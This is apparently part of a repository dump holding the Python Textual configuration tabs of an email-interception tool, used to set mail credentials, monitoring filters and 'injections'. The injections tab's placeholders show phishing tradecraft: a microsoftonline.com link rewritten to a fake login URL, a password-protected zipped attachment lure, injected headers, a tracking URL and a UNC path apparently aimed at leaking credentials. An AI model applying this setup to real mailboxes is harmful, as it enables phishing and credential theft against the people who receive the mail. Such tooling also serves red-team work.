219 | self.query_one("#read-username", Input).value = imap_config.get("username", "")
220 | self.query_one("#read-password", Input).value = imap_config.get("password", "")
221 | self.query_one("#read-server", Input).value = imap_config.get("server", "")
222 | self.query_one("#read-port", Input).value = str(imap_config.get("port", ""))
223 | self.query_one("#read-tls", Switch).value = imap_config.get("ssl", False)
224 | self.authentication_protocol_read = "IMAP"
225 | self.query_one('#radio-button-read-imap', RadioButton).value = True
226 | elif "oauth2legacy" in read_config:
227 | oauth2_read_config = read_config["oauth2legacy"]
228 | self.query_one("#read-o2-username", Input).value = oauth2_read_config.get("email", "")
229 | self.query_one("#read-o2-password", Input).value = oauth2_read_config.get("password", "")
230 | self.query_one("#read-o2-client-id", Input).value = oauth2_read_config.get("client_id", "")
231 | self.query_one("#read-o2-client-secret", Input).value = oauth2_read_config.get("client_secret", "")
232 | self.query_one("#read-o2-tenant-id", Input).value = oauth2_read_config.get("tenant_id", "")
233 | self.authentication_protocol_read = "M365 Oauth2 (Legacy)"
234 | self.query_one('#radio-button-read-oauth2l', RadioButton).value = True
235 |
236 | def save_auth_information(self):
237 | # Collect values for sending configuration
238 | if self.authentication_protocol_send == "SMTP":
239 | send_config = {
240 | "smtp": {
241 | "username": self.query_one("#send-username", Input).value,
242 | "password": self.query_one("#send-password", Input).value,
243 | "server": self.query_one("#send-server", Input).value,
244 | "port": int(self.query_one("#send-port", Input).value),
245 | "tls": self.query_one("#send-tls", Switch).value,
246 | }
247 | }
248 | else: # Oauth2 (Legacy) for sending
249 | send_config = {
250 | "oauth2legacy": {
251 | "email": self.query_one("#send-o2-username", Input).value,
252 | "password": self.query_one("#send-o2-password", Input).value,
253 | "client_id": self.query_one("#send-o2-client-id", Input).value,
254 | "client_secret": self.query_one("#send-o2-client-secret", Input).value,
255 | "tenant_id": self.query_one("#send-o2-tenant-id", Input).value,
256 | }
257 | }
258 |
259 | # Collect values for reading configuration
260 | if self.authentication_protocol_read == "IMAP":
261 | read_config = {
262 | "imap": {
263 | "username": self.query_one("#read-username", Input).value,
264 | "password": self.query_one("#read-password", Input).value,
265 | "server": self.query_one("#read-server", Input).value,
266 | "port": int(self.query_one("#read-port", Input).value),
267 | "ssl": self.query_one("#read-tls", Switch).value,
268 | }
269 | }
270 | else: # Oauth2 (Legacy) for reading
271 | read_config = {
272 | "oauth2legacy": {
273 | "email": self.query_one("#read-o2-username", Input).value,
274 | "password": self.query_one("#read-o2-password", Input).value,
275 | "client_id": self.query_one("#read-o2-client-id", Input).value,
276 | "client_secret": self.query_one("#read-o2-client-secret", Input).value,
277 | "tenant_id": self.query_one("#read-o2-tenant-id", Input).value,
278 | }
279 | }
280 |
281 | # Create the data structure
282 | auth_config = {
283 | "send": send_config,
284 | "read": read_config
285 | }
286 |
287 | # Save the information to a YAML file
288 | with open(self.config_path, "w") as yaml_file:
289 | yaml.dump(auth_config, yaml_file, default_flow_style=False)
290 |
291 |
292 | def on_radio_set_changed(self, event: RadioSet.Changed) -> None:
293 | # Outbound protocol
294 | if (event.pressed.id == 'radio-button-send-smtp'):
295 | self.query_one('#oauth2l-send-params-box').remove_class('visible')
296 | self.query_one('#oauth2l-send-params-box').add_class('hidden')
297 | self.query_one('#smtp-send-params-box').remove_class('hidden')
298 | self.query_one('#smtp-send-params-box').add_class('visible')
299 | self.authentication_protocol_send=str(event.pressed.label)
300 | if (event.pressed.id == 'radio-button-send-oauth2l'):
301 | self.query_one('#oauth2l-send-params-box').remove_class('hidden')
302 | self.query_one('#oauth2l-send-params-box').add_class('visible')
303 | self.query_one('#smtp-send-params-box').remove_class('visible')
304 | self.query_one('#smtp-send-params-box').add_class('hidden')
305 | self.authentication_protocol_send=str(event.pressed.label)
306 |
307 | # Inbound protocol
308 | if (event.pressed.id == 'radio-button-read-imap'):
309 | self.query_one('#oauth2l-read-params-box').remove_class('visible')
310 | self.query_one('#oauth2l-read-params-box').add_class('hidden')
311 | self.query_one('#imap-read-params-box').remove_class('hidden')
312 | self.query_one('#imap-read-params-box').add_class('visible')
313 | self.authentication_protocol_read=str(event.pressed.label)
314 | if (event.pressed.id == 'radio-button-read-oauth2l'):
315 | self.query_one('#oauth2l-read-params-box').remove_class('hidden')
316 | self.query_one('#oauth2l-read-params-box').add_class('visible')
317 | self.query_one('#imap-read-params-box').remove_class('visible')
318 | self.query_one('#imap-read-params-box').add_class('hidden')
319 | self.authentication_protocol_read=str(event.pressed.label)
320 |
321 | async def on_button_pressed(self, event) -> None:
322 | if event.button.id == 'button-save-auth':
323 | self.save_auth_information()
--------------------------------------------------------------------------------
/tabs/feedbackmodal.py:
--------------------------------------------------------------------------------
1 | from textual.screen import ModalScreen
2 | from textual.widgets import Button, Static
3 | from textual.containers import Vertical
4 | from textual.app import ComposeResult
5 | from time import sleep
6 |
7 | class FeedbackModal(ModalScreen):
8 | """A simple modal screen for feedback."""
9 |
10 | def __init__(self, message: str):
11 | super().__init__()
12 | self.message = message
13 |
14 | def compose(self) -> ComposeResult:
15 | """Compose the content of the modal."""
16 | yield Vertical(
17 | Static(self.message, id="modal-message"),
18 | Button("OK", id="modal-ok-button", variant="primary")
19 | )
20 |
21 | async def on_button_pressed(self, event) -> None:
22 | """Handle button press in the modal."""
23 | if event.button.id == "modal-ok-button":
24 | await self.app.pop_screen() # Close the modal
25 |
--------------------------------------------------------------------------------
/tabs/filter.py:
--------------------------------------------------------------------------------
1 | import os
2 | import yaml
3 | import re
4 | from textual.app import ComposeResult
5 | from textual.widgets import Label, Button, Input, ListItem, ListView, Static, Switch, Rule
6 | from textual.containers import Vertical, Horizontal, Container, VerticalScroll
7 | from datetime import datetime
8 | from textual.binding import Binding
9 |
10 | class FilterTab(Vertical):
11 | CSS_PATH = 'gui.css' # Path to the CSS file
12 | BINDINGS = [
13 | Binding(key="ctrl+s", action="save_config()",description="Save"),
14 | ]
15 |
16 | def __init__(self, global_config_path='config/config.yml'):
17 | super().__init__()
18 | self.global_config_path = global_config_path
19 | self.config_path = self._get_path_from_config('filter')
20 |
21 | def _get_path_from_config(self, section):
22 | """Get the path to the configuration section file."""
23 | # Load the main configuration file
24 | with open(self.global_config_path, 'r') as config_file:
25 | main_config = yaml.safe_load(config_file)
26 |
27 | # Get the path for the authentication configuration
28 | section_config_path = main_config.get(section)
29 |
30 | # If the auth_config_path is not absolute, make it relative to the directory of config_path
31 | if not os.path.isabs(section_config_path):
32 | global_config_dir = os.path.dirname(self.global_config_path)
33 | section_config_path = os.path.join(global_config_dir, section_config_path)
34 |
35 | return section_config_path
36 |
37 | def action_save_config(self):
38 | """Save the injections configuration to the file."""
39 | self.save_filter_information()
40 |
41 | def compose(self) -> ComposeResult:
42 | """Compose the filter tab layout."""
43 |
44 | # Monitoring Section (Left of second row)
45 | monitoring_container = VerticalScroll(
46 | Static("👁️ Monitoring", id='monitoring-label', classes='filter-form-label'),
47 | Container(
48 | Label("Subjects:", id='monitor-subjects-label', classes='inner-filter-label'),
49 | ListView(id='monitor-subjects-listview'),
50 | Input(placeholder="Add a subject to monitor", id="monitor-subject-input"),
51 | Horizontal(
52 | Button(label="+", variant='success', id='monitor-subject-add-button'),
53 | Button(label="-", variant='error', id='monitor-subject-remove-button')
54 | ),
55 | classes='filter-box'
56 | ),
57 | Container(
58 | Label("From Domains:", id='monitor-from-domains-label', classes='inner-filter-label'),
59 | ListView(id='monitor-from-domains-listview'),
60 | Input(placeholder="Add a 'from' domain to monitor", id="monitor-from-domain-input"),
61 | Horizontal(
62 | Button(label="+", variant='success', id='monitor-from-domain-add-button'),
63 | Button(label="-", variant='error', id='monitor-from-domain-remove-button')
64 | ),
65 | classes='filter-box'
66 | ),
67 | Container(
68 | Label("To Domains:", id='monitor-to-domains-label', classes='inner-filter-label'),
69 | ListView(id='monitor-to-domains-listview'),
70 | Input(placeholder="Add a 'to' domain to monitor", id="monitor-to-domain-input"),
71 | Horizontal(
72 | Button(label="+", variant='success', id='monitor-to-domain-add-button'),
73 | Button(label="-", variant='error', id='monitor-to-domain-remove-button')
74 | ),
75 | classes='filter-box'
76 | ),
77 | )
78 |
79 | # Ignore Section (Right of second row)
80 | ignore_container = VerticalScroll(
81 | Static("🙅🏼 Ignore", id='ignore-label', classes='filter-form-label'),
82 | Container(
83 | Label("Subjects:", id='ignore-subjects-label', classes='inner-filter-label'),
84 | ListView(id='ignore-subjects-listview'),
85 | Input(placeholder="Add a subject to ignore", id="ignore-subject-input"),
86 | Horizontal(
87 | Button(label="+", variant='success', id='ignore-subject-add-button'),
88 | Button(label="-", variant='error', id='ignore-subject-remove-button')
89 | ),
90 | classes='filter-box'
91 | ),
92 | Container(
93 | Label("From Domains:", id='ignore-from-domains-label', classes='inner-filter-label'),
94 | ListView(id='ignore-from-domains-listview'),
95 | Input(placeholder="Add a 'from' domain to ignore", id="ignore-from-domain-input"),
96 | Horizontal(
97 | Button(label="+", variant='success', id='ignore-from-domain-add-button'),
98 | Button(label="-", variant='error', id='ignore-from-domain-remove-button')
99 | ),
100 | classes='filter-box'
101 | ),
102 | Container(
103 | Label("To Domains:", id='ignore-to-domains-label', classes='inner-filter-label'),
104 | ListView(id='ignore-to-domains-listview'),
105 | Input(placeholder="Add a 'to' domain to ignore", id="ignore-to-domain-input"),
106 | Horizontal(
107 | Button(label="+", variant='success', id='ignore-to-domain-add-button'),
108 | Button(label="-", variant='error', id='ignore-to-domain-remove-button')
109 | ),
110 | classes='filter-box'
111 | )
112 | )
113 |
114 | # Save Button (Third row)
115 | save_button = Button(label="Save", variant="primary", id="button-save-filters")
116 |
117 | # Root Layout: Date Filter, Monitoring (Left), Ignore (Right), and Save Button
118 | yield VerticalScroll(
119 | Container(
120 | Label("Ignore Seen Emails:", id='ignore-seen-emails-label'),
121 | Switch(value=True, id="ignore-seen-emails-switch"),
122 | Label("Date Limit (e.g., 2024-03-14 12:00:40+00):", id='date-filter-label'),
123 | Input(placeholder="2024-03-14 12:00:40+00", id="date-limit-input"),
124 | classes='filter-first-row'
125 | ),
126 | Horizontal(
127 | monitoring_container,
128 | Rule(orientation='vertical'),
129 | ignore_container,
130 | id="monitor-ignore-split"
131 | ),
132 | save_button,
133 | classes='root-filter-grid',
134 | id="root-filter-grid"
135 | )
136 |
137 | async def on_button_pressed(self, event) -> None:
138 | """Handle button press events."""
139 | if event.button.id == "monitor-subject-add-button":
140 | self.add_item_to_list("monitor-subject")
141 | elif event.button.id == "monitor-subject-remove-button":
142 | self.remove_item_from_list("monitor-subject")
143 | elif event.button.id == "monitor-from-domain-add-button":
144 | self.add_item_to_list("monitor-from-domain")
145 | elif event.button.id == "monitor-from-domain-remove-button":
146 | self.remove_item_from_list("monitor-from-domain")
147 | elif event.button.id == "monitor-to-domain-add-button":
148 | self.add_item_to_list("monitor-to-domain")
149 | elif event.button.id == "monitor-to-domain-remove-button":
150 | self.remove_item_from_list("monitor-to-domain")
151 | elif event.button.id == "ignore-subject-add-button":
152 | self.add_item_to_list("ignore-subject")
153 | elif event.button.id == "ignore-subject-remove-button":
154 | self.remove_item_from_list("ignore-subject")
155 | elif event.button.id == "ignore-from-domain-add-button":
156 | self.add_item_to_list("ignore-from-domain")
157 | elif event.button.id == "ignore-from-domain-remove-button":
158 | self.remove_item_from_list("ignore-from-domain")
159 | elif event.button.id == "ignore-to-domain-add-button":
160 | self.add_item_to_list("ignore-to-domain")
161 | elif event.button.id == "ignore-to-domain-remove-button":
162 | self.remove_item_from_list("ignore-to-domain")
163 | elif event.button.id == "button-save-filters":
164 | self.save_filter_information()
165 |
166 |
167 | def on_key(self, event):
168 | """Handle key press events."""
169 | if event.key == "enter":
170 | # Check if the focus is on domain or address inputs and add to the corresponding list
171 | monitor_subject = self.query_one("#monitor-subject-input", Input)
172 | monitor_from_domain = self.query_one("#monitor-from-domain-input", Input)
173 | monitor_to_domain = self.query_one("#monitor-to-domain-input", Input)
174 | ignore_subject = self.query_one("#ignore-subject-input", Input)
175 | ignore_from_domain = self.query_one("#ignore-from-domain-input", Input)
176 | ignore_to_domain = self.query_one("#ignore-to-domain-input", Input)
177 |
178 | if (monitor_subject.has_focus):
179 | self.add_item_to_list("monitor-subject")
180 | elif (monitor_from_domain.has_focus):
181 | self.add_item_to_list("monitor-from-domain")
182 | elif (monitor_to_domain.has_focus):
183 | self.add_item_to_list("monitor-to-domain")
184 | elif (ignore_subject.has_focus):
185 | self.add_item_to_list("ignore-subject")
186 | elif (ignore_from_domain.has_focus):
187 | self.add_item_to_list("ignore-from-domain")
188 | elif (ignore_to_domain.has_focus):
189 | self.add_item_to_list("ignore-to-domain")
190 |
191 | def add_item_to_list(self, item_type: str):
192 | """Add an item to the appropriate ListView."""
193 | if item_type == "monitor-subject":
194 | # Add quotes to show the spaces
195 | input_value = "'"+self.query_one("#monitor-subject-input", Input).value+"'"
196 | listview = self.query_one("#monitor-subjects-listview", ListView)
197 | elif item_type == "monitor-from-domain":
198 | input_value = self.query_one("#monitor-from-domain-input", Input).value
199 | listview = self.query_one("#monitor-from-domains-listview", ListView)
200 | elif item_type == "monitor-to-domain":
201 | input_value = self.query_one("#monitor-to-domain-input", Input).value
202 | listview = self.query_one("#monitor-to-domains-listview", ListView)
203 | elif item_type == "ignore-subject":
204 | # Add quotes to show the spaces
205 | input_value = "'"+self.query_one("#ignore-subject-input", Input).value+"'"
206 | listview = self.query_one("#ignore-subjects-listview", ListView)
207 | elif item_type == "ignore-from-domain":
208 | input_value = self.query_one("#ignore-from-domain-input", Input).value
209 | listview = self.query_one("#ignore-from-domains-listview", ListView)
210 | elif item_type == "ignore-to-domain":
211 | input_value = self.query_one("#ignore-to-domain-input", Input).value
212 | listview = self.query_one("#ignore-to-domains-listview", ListView)
213 |
214 | if input_value:
215 | listview.append(ListItem(Label(input_value),classes='filter-listitem'))
216 | self.query_one(f"#{item_type}-input", Input).value = "" # Clear the input field
217 |
218 | def remove_item_from_list(self, item_type: str):
219 | """Remove the selected item from the ListView."""
220 | if item_type == "monitor-subject":
221 | listview = self.query_one("#monitor-subjects-listview", ListView)
222 | elif item_type == "monitor-from-domain":
223 | listview = self.query_one("#monitor-from-domains-listview", ListView)
224 | elif item_type == "monitor-to-domain":
225 | listview = self.query_one("#monitor-to-domains-listview", ListView)
226 | elif item_type == "ignore-subject":
227 | listview = self.query_one("#ignore-subjects-listview", ListView)
228 | elif item_type == "ignore-from-domain":
229 | listview = self.query_one("#ignore-from-domains-listview", ListView)
230 | elif item_type == "ignore-to-domain":
231 | listview = self.query_one("#ignore-to-domains-listview", ListView)
232 |
233 | listview.highlighted_child.remove() # Remove the highlighted item
234 |
235 | def save_filter_information(self):
236 | """Save the filter information to a YAML file."""
237 | remove_quotes = lambda x: re.sub("'$", "", re.sub("^'", "", x))
238 | # Monitor section
239 | monitor_subjects = [x for x in [str(item.query_one(Label).renderable) for item in self.query_one("#monitor-subjects-listview", ListView).children]]
240 | monitor_subjects = list(map(remove_quotes,monitor_subjects))
241 | monitor_from_domains = [str(item.query_one(Label).renderable) for item in self.query_one("#monitor-from-domains-listview", ListView).children]
242 | monitor_to_domains = [str(item.query_one(Label).renderable) for item in self.query_one("#monitor-to-domains-listview", ListView).children]
243 | # Ignore section
244 | ignore_subjects = [x for x in [str(item.query_one(Label).renderable) for item in self.query_one("#ignore-subjects-listview", ListView).children]]
245 | ignore_subjects = list(map(remove_quotes,ignore_subjects))
246 | ignore_from_domains = [str(item.query_one(Label).renderable) for item in self.query_one("#ignore-from-domains-listview", ListView).children]
247 | ignore_to_domains = [str(item.query_one(Label).renderable) for item in self.query_one("#ignore-to-domains-listview", ListView).children]
248 | ignore_seen_email = self.query_one("#ignore-seen-emails-switch", Switch).value
249 | # Save the date limit as datetime
250 | date_limit = datetime.strptime(self.query_one("#date-limit-input", Input).value, "%Y-%m-%d %H:%M:%S%z")
251 |
252 | filters_data = {
253 | "monitor": {
254 | "subject": monitor_subjects,
255 | "from_domains": monitor_from_domains,
256 | "to_domains": monitor_to_domains,
257 | },
258 | "ignore": {
259 | "seen_email": ignore_seen_email,
260 | "subjects": ignore_subjects,
261 | "from_domains": ignore_from_domains,
262 | "to_domains": ignore_to_domains,
263 | },
264 | "date_limit": date_limit
265 | }
266 |
267 | # Save the information to a YAML file
268 | with open(self.config_path, "w") as yaml_file:
269 | yaml.dump(filters_data, yaml_file, default_flow_style=False)
270 |
271 | print(f"Filters saved to {self.config_path}")
272 |
273 | async def on_mount(self) -> None:
274 | """Called after the widget is mounted in the DOM."""
275 | self.read_filter_information()
276 |
277 | def read_filter_information(self):
278 | """Load the filter information from the YAML file (if exists) and populate the form."""
279 | if not os.path.exists(self.config_path):
280 | return
281 |
282 | with open(self.config_path, "r") as yaml_file:
283 | filters_data = yaml.safe_load(yaml_file)
284 |
285 | # Populate the date limit field
286 | self.query_one("#date-limit-input", Input).value = str(filters_data.get("date_limit", ""))
287 |
288 | # Populate the monitoring section
289 | monitor_subjects = ["'"+x+"'" for x in filters_data.get("monitor", {}).get("subject", [])]
290 | monitor_from_domains = filters_data.get("monitor", {}).get("from_domains", [])
291 | monitor_to_domains = filters_data.get("monitor", {}).get("to_domains", [])
292 |
293 | # Populate ignore section
294 | ignore_subjects = ["'"+x+"'" for x in filters_data.get("ignore", {}).get("subjects", [])]
295 | ignore_from_domains = filters_data.get("ignore", {}).get("from_domains", [])
296 | ignore_to_domains = filters_data.get("ignore", {}).get("to_domains", [])
297 | ignore_seen_email = filters_data.get("ignore", {}).get("seen_email", False)
298 |
299 | # Update the monitoring lists
300 | self.populate_list("#monitor-subjects-listview", monitor_subjects)
301 | self.populate_list("#monitor-from-domains-listview", monitor_from_domains)
302 | self.populate_list("#monitor-to-domains-listview", monitor_to_domains)
303 |
304 | # Update the ignore lists
305 | self.populate_list("#ignore-subjects-listview", ignore_subjects)
306 | self.populate_list("#ignore-from-domains-listview", ignore_from_domains)
307 | self.populate_list("#ignore-to-domains-listview", ignore_to_domains)
308 |
309 | # Update ignore seen email switch
310 | self.query_one("#ignore-seen-emails-switch", Switch).value = ignore_seen_email
311 |
312 | def populate_list(self, listview_id: str, items: list):
313 | """Populate a ListView with a list of items."""
314 | listview = self.query_one(listview_id, ListView)
315 | for item in items:
316 | listview.append(ListItem(Label(item),classes='filter-listitem'))
317 |
--------------------------------------------------------------------------------
/tabs/injection.py:
--------------------------------------------------------------------------------
1 | import os
2 | import yaml
3 | from textual.app import ComposeResult
4 | from textual.widgets import Label, Button, Input, ListItem, ListView, Static, Select
5 | from textual.containers import Vertical, Horizontal, Container, VerticalScroll
6 | from textual.binding import Binding
7 |
8 | class InjectionsTab(Vertical):
9 | CSS_PATH = 'gui.css' # Path to the CSS file
10 |
11 | BINDINGS = [
12 | Binding(key="ctrl+s", action="save_config()",description="Save"),
13 | ]
14 |
15 | def __init__(self, global_config_path='config/config.yml'):
16 | super().__init__()
17 | # Config file path
18 | self.global_config_path = global_config_path
19 | self.config_path = self._get_path_from_config('injections')
20 |
21 | def _get_path_from_config(self, section):
22 | """Get the path to the configuration section file."""
23 | # Load the main configuration file
24 | with open(self.global_config_path, 'r') as config_file:
25 | main_config = yaml.safe_load(config_file)
26 |
27 | # Get the path for the authentication configuration
28 | section_config_path = main_config.get(section)
29 |
30 | # If the auth_config_path is not absolute, make it relative to the directory of config_path
31 | if not os.path.isabs(section_config_path):
32 | global_config_dir = os.path.dirname(self.global_config_path)
33 | section_config_path = os.path.join(global_config_dir, section_config_path)
34 |
35 | return section_config_path
36 |
37 | def compose(self) -> ComposeResult:
38 | """Compose the injections content."""
39 | injections_container = VerticalScroll(
40 | # Links section
41 | VerticalScroll(
42 | Static("Links", id='links-label', classes='inner-injections-label'),
43 | ListView(id='links-listview', classes='injections-listviews'),
44 | Select(id='replacement-type-select', options=[('all','all'),('domain','domain')], classes='injections-form-select'),
45 | Container(
46 | Label("URL:", id='link-url-label', classes='injections-form-label'),
47 | Input(placeholder="https://www.notaphish.com/login", id="link-url-input-all"),
48 | classes='injections-link-all-input',
49 | id='links-all-injection-form'
50 | ),
51 | Container(
52 | Label("Domain:", id='link-domain-label', classes='injections-form-label'),
53 | Input(placeholder="microsoftonline.com", id="link-domain-input"),
54 | Label("URL:", id='link-url-label', classes='injections-form-label'),
55 | Input(placeholder="https://www.notaphish.com/login", id="link-url-input-domain"),
56 | classes='injections-link-domain-input',
57 | id='links-domain-injection-form'
58 | ),
59 | Horizontal(
60 | Button(label="+", variant='success', id='link-add-button', tooltip='Add a link to the list'),
61 | Button(label="-", variant='error', id='link-remove-button', tooltip='Remove a link from the list'),
62 | classes='injections-form-buttons',
63 | id='links-injection-buttons'
64 | ),
65 | classes='injections-box injections-listsviews-box',
66 | id='links-box'
67 | ),
68 |
69 | # Headers section
70 | VerticalScroll(
71 | Static("Headers", id='headers-label', classes='inner-injections-label'),
72 | ListView(id='headers-listview', classes='injections-listviews'),
73 | Container(
74 | Label("Header Key:", classes='injections-form-label'),
75 | Input(placeholder="X-Header-Name", id="header-key-input"),
76 | Label("Header Value:", classes='injections-form-label'),
77 | Input(placeholder="Your header value", id="header-value-input"),
78 | classes='injections-headers-input',
79 | id='headers-injection-form'
80 | ),
81 | Horizontal(
82 | Button(label="+", variant='success', id='header-add-button', tooltip='Add a header to inject'),
83 | Button(label="-", variant='error', id='header-remove-button', tooltip='Remove a header from the injection list'),
84 | classes='injections-form-buttons',
85 | id='headers-injection-buttons'
86 | ),
87 | classes='injections-box injections-listsviews-box',
88 | id='headers-box'
89 | ),
90 | # Attachments section
91 | Container(
92 | Static("Attachments", id='attachments-label', classes='inner-injections-label'),
93 | Container(
94 | Label("Attachment Path:", id='attachment-path-label'),
95 | Input(placeholder="attachments/document.pdf.zip", id="attachment-path-input"),
96 | Label("Attachment Message:", id='attachment-message-label'),
97 | Input(placeholder="Use the password 'documentation' to access...", id="attachment-message-input"),
98 | classes='injections-form-data-grid',
99 | id='attachments-injection-form'
100 | ),
101 | classes='injections-box injections-box-attachments',
102 | id='attachments-box'
103 | ),
104 |
105 | # Tracking URL and UNC Path
106 | Container(
107 | Static("Other", id='other-label', classes='inner-injections-label'),
108 | Container(
109 | Label("Tracking URL:", id='tracking-url-label'),
110 | Input(placeholder="https://www.domain.com/login?param=1", id="tracking-url-input"),
111 | Label("UNC Path:", id='unc-path-label'),
112 | Input(placeholder="\\\\42.42.42.42\\file.png", id="unc-path-input"),
113 | classes='injections-form-data-grid',
114 | id='other-injection-form'
115 | ),
116 | classes='injections-box injections-box-other',
117 | id='other-box'
118 | ),
119 |
120 | # Save button
121 | Button("Save", variant="primary", id='button-save-injections'),
122 | id='outer-injections-grid',
123 | classes='vertical-scroll-containe'
124 | )
125 | yield injections_container
126 |
127 | def action_save_config(self):
128 | """Save the injections configuration to the file."""
129 | self.save_injections_information()
130 |
131 | async def on_button_pressed(self, event) -> None:
132 | """Handle button press events."""
133 | if event.button.id == "link-add-button":
134 | self.add_link_to_list()
135 | if event.button.id == "link-remove-button":
136 | self.remove_link_to_list()
137 | if event.button.id == "header-add-button":
138 | self.add_header_to_list()
139 | if event.button.id == "header-remove-button":
140 | self.remove_header_to_list()
141 | elif event.button.id == "button-save-injections":
142 | self.save_injections_information()
143 |
144 | def add_link_to_list(self):
145 | """Add a link to the ListView."""
146 | replacement_type = self.query_one("#replacement-type-select", Select).value
147 | url_all = self.query_one("#link-url-input-all", Input).value
148 | url_domain = self.query_one("#link-url-input-domain", Input).value
149 | listview = self.query_one("#links-listview", ListView)
150 |
151 | if replacement_type and (url_all or url_domain):
152 | if replacement_type == 'all':
153 | updated = False
154 | for item in listview.children:
155 | item_label = item.query_one(Label)
156 | if item_label.renderable.plain.startswith("all --> "):
157 | item_label.update(f"{replacement_type} --> {url_all}")
158 | updated = True
159 | break
160 | if (not updated):
161 | listview.append(ListItem(Label(f"{replacement_type} --> {url_all}"), classes="injections-listitem"))
162 | elif replacement_type == 'domain':
163 | domain = self.query_one('#link-domain-input', Input).value
164 | updated = False
165 | for item in listview.children:
166 | item_label = item.query_one(Label)
167 | if item_label.renderable.plain.startswith(f"{domain} --> "):
168 | item_label.update(f"{domain} --> {url_domain}")
169 | updated = True
170 | break
171 | # If it was not found in the previous loop
172 | if (not updated):
173 | listview.append(ListItem(Label(f"{domain} --> {url_domain}"), classes="injections-listitem"))
174 | else:
175 | if (url_domain != ''):
176 | listview.append(ListItem(Label(f"{domain} --> {url_domain}"), classes="injections-listitem"))
177 | if (url_all != ''):
178 | listview.append(ListItem(Label(f"{replacement_type} --> {url_all}"), classes="injections-listitem"))
179 |
180 | # Clear the input fields after adding to the list
181 | self.query_one("#replacement-type-select", Select).value = Select.BLANK
182 | self.query_one("#link-domain-input", Input).value = ""
183 | self.query_one("#link-url-input-all", Input).value = ""
184 | self.query_one("#link-url-input-domain", Input).value = ""
185 |
186 | def add_header_to_list(self):
187 | """Add a header injection to the ListView."""
188 | header = self.query_one("#header-key-input", Input).value
189 | hvalue = self.query_one("#header-value-input", Input).value
190 | listview = self.query_one("#headers-listview", ListView)
191 |
192 | if header and hvalue:
193 | listview.append(ListItem(Label(f"{header}: {hvalue}"), classes="injections-listitem"))
194 | # Clear the input fields after adding to the list
195 | self.query_one("#header-key-input", Input).value = ""
196 | self.query_one("#header-value-input", Input).value = ""
197 |
198 | def remove_link_to_list(self):
199 | """Remove a link to the ListView."""
200 | listview = self.query_one("#links-listview", ListView)
201 | listview.highlighted_child.remove()
202 |
203 | def remove_header_to_list(self):
204 | """Remove a header injection to the ListView."""
205 | listview = self.query_one("#headers-listview", ListView)
206 | listview.highlighted_child.remove()
207 |
208 | def on_key(self, event):
209 | """Handle key press events."""
210 | if event.key == "enter":
211 | # Check if the focus is on domain or address inputs and add to the corresponding list
212 | replacement_type = self.query_one("#replacement-type-select", Select)
213 | injection_link_all = self.query_one("#link-url-input-all", Input)
214 | injection_link_domain = self.query_one("#link-url-input-domain", Input)
215 | header_key = self.query_one("#header-key-input", Input)
216 | header_value = self.query_one("#header-value-input", Input)
217 |
218 | # If the focus is on any domain-related input
219 | if replacement_type.value != Select.BLANK and (injection_link_all.has_focus or injection_link_domain.has_focus):
220 | self.add_link_to_list()
221 | # If the focus is on any address-related input
222 | elif header_key.has_focus or header_value.has_focus:
223 | self.add_header_to_list()
224 |
225 | def on_select_changed(self, event: Select.Changed):
226 | """
227 | Handle select change events:
228 | Change the style of links-domain-injection-form and links-links-injection-form depending on the selected option.
229 | If the selected option is "all", show the links-links-injection-form container
230 | If the selected option is "domain", show the links-domain-injection-form container
231 | """
232 | replacement_type = self.query_one("#replacement-type-select", Select)
233 | if replacement_type.value == 'all':
234 | self.query_one("#links-all-injection-form").styles.display = 'block'
235 | self.query_one("#links-domain-injection-form").styles.display = 'none'
236 | elif replacement_type.value == 'domain':
237 | self.query_one("#links-all-injection-form").styles.display = 'none'
238 | self.query_one("#links-domain-injection-form").styles.display = 'block'
239 | else:
240 | self.query_one("#links-all-injection-form").styles.display = 'none'
241 | self.query_one("#links-domain-injection-form").styles.display = 'none'
242 |
243 |
244 | def save_injections_information(self):
245 | """Save injections information to a YAML file."""
246 | # pull the data from the form
247 | attachment = self.query_one('#attachment-path-input', Input)
248 | attachment_message = self.query_one('#attachment-message-input', Input)
249 | tracking_url = self.query_one('#tracking-url-input', Input)
250 | unc_path = self.query_one('#unc-path-input', Input)
251 | links_listview = self.query_one("#links-listview", ListView)
252 | headers_listview = self.query_one("#headers-listview", ListView)
253 |
254 | # Prepare the data structure
255 | injections_data = {}
256 | # Add the key value pair when they exists
257 | if (attachment_message is not None and attachment_message.value != "") or (attachment_message is not None and attachment_message.value != ""):
258 | injections_data["attachments"] = {}
259 | if (attachment is not None and attachment.value != ""):
260 | injections_data["attachments"]["path"] = attachment.value
261 |
262 | if (attachment_message is not None or attachment_message.value != ""):
263 | injections_data["attachments"]["attachment_message"] = attachment_message.value
264 |
265 | if (tracking_url is not None and tracking_url.value != ""):
266 | injections_data["tracking_url"] = tracking_url.value
267 |
268 | if (unc_path is not None and unc_path.value != ""):
269 | injections_data["unc_path"] = unc_path.value
270 |
271 | # If there are no headers, delete the dictionary entry
272 | if (len(headers_listview.children) >= 0):
273 | injections_data["links"] = {}
274 | # Collect links from the ListView
275 | for item in links_listview.children:
276 | # The link item will have a format like "(all) --> https://example.com"
277 | link_str = str(item.query_one(Label).renderable)
278 | replacement_type, url = link_str.split(" --> ", 1)
279 | injections_data["links"][replacement_type.strip()] = url.strip()
280 |
281 | # If there are no links, delete the dictionary entry
282 | if (len(links_listview.children) >= 0):
283 | injections_data["headers"] = {}
284 | # Collect headers from the ListView
285 | for item in headers_listview.children:
286 | # The header item will have a format like "X-Header-Name: Header Value"
287 | header_str = str(item.query_one(Label).renderable)
288 | header, value = header_str.split(": ", 1)
289 | injections_data["headers"][header.strip()] = value.strip()
290 |
291 | # Save to a YAML file
292 | with open(self.config_path, "w") as yaml_file:
293 | yaml.dump(injections_data, yaml_file, default_flow_style=False)
294 |
295 | print(f"Injections saved to {self.config_path}")
296 |
297 |
298 | def read_injections_information(self):
299 | """Load injections information from the YAML file (if exists) and populate the form."""
300 | if not os.path.exists(self.config_path):
301 | return
302 |
303 | with open(self.config_path, "r") as yaml_file:
304 | injections_data = yaml.safe_load(yaml_file)
305 |
306 | # Populate attachment fields
307 | self.query_one("#attachment-path-input", Input).value = injections_data.get("attachments", {}).get("path", "")
308 | self.query_one("#attachment-message-input", Input).value = injections_data.get("attachments", {}).get("attachment_message", "")
309 |
310 | # Populate links
311 | links_listview = self.query_one("#links-listview", ListView)
312 | for replacement_type, url in injections_data.get("links", {}).items():
313 | links_listview.append(ListItem(Label(f"{replacement_type} --> {url}"), classes="injections-listitem"))
314 |
315 | # Populate headers
316 | headers = injections_data.get("headers", {})
317 | header_listview = self.query_one("#headers-listview", ListView)
